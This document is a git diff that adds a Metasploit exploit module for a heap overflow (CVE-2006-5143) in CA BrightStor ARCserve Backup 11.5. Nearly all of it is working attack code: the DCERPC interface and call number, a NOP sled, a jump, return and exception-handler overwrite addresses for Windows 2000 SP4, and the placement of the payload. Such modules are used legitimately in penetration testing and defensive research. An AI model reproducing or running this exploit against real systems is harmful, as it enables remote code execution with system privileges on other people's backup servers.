diff --git a/modules/exploits/windows/brightstor/message_engine_heap.rb b/modules/exploits/windows/brightstor/message_engine_heap.rb new file mode 100644 index 0000000000..481f593404 --- /dev/null +++ b/modules/exploits/windows/brightstor/message_engine_heap.rb @@ -0,0 +1,73 @@ +require 'msf/core' + +module Msf + +class Exploits::Windows::Brightstor::Message_Engine_Heap < Msf::Exploit::Remote + + include Exploit::Remote::DCERPC + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'CA BrightStor ARCserve Message Engine Heap Overflow', + 'Description' => %q{ + This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup + 11.5. By sending a specially crafted RPC request, an attacker could overflow the + buffer and execute arbitrary code. + }, + 'Author' => [ 'MC' ], + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 3906 $', + 'References' => + [ + [ 'CVE', '2006-5143' ], + [ 'BID', '20365' ], + [ 'URL', 'http://www.lssec.com/advisories/LS-20060313.pdf' ], + ], + 'Privileged' => true, + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'Space' => 800, + 'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e", + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + ['Windows 2000 SP4 English', { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ], + ], + 'DisclosureDate' => 'Oct 05 2006', + 'DefaultTarget' => 0)) + + register_options([ Opt::RPORT(6503) ], self.class) + end + + def exploit + connect + + handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']]) + print_status("Binding to #{handle} ...") + + dcerpc_bind(handle) + print_status("Bound to #{handle} ...") + + # straight forward heap stuffz + sploit = make_nops(680) + "\xeb\x0a" + make_nops(2) + [ target.ret ].pack('V') + sploit << [ target['UEF'] ].pack('V') + payload.encoded + + print_status("Trying target #{target.name}...") + + begin + dcerpc_call(43, sploit) + rescue Rex::Proto::DCERPC::Exceptions::NoResponse + end + + handler + disconnect + end + +end +end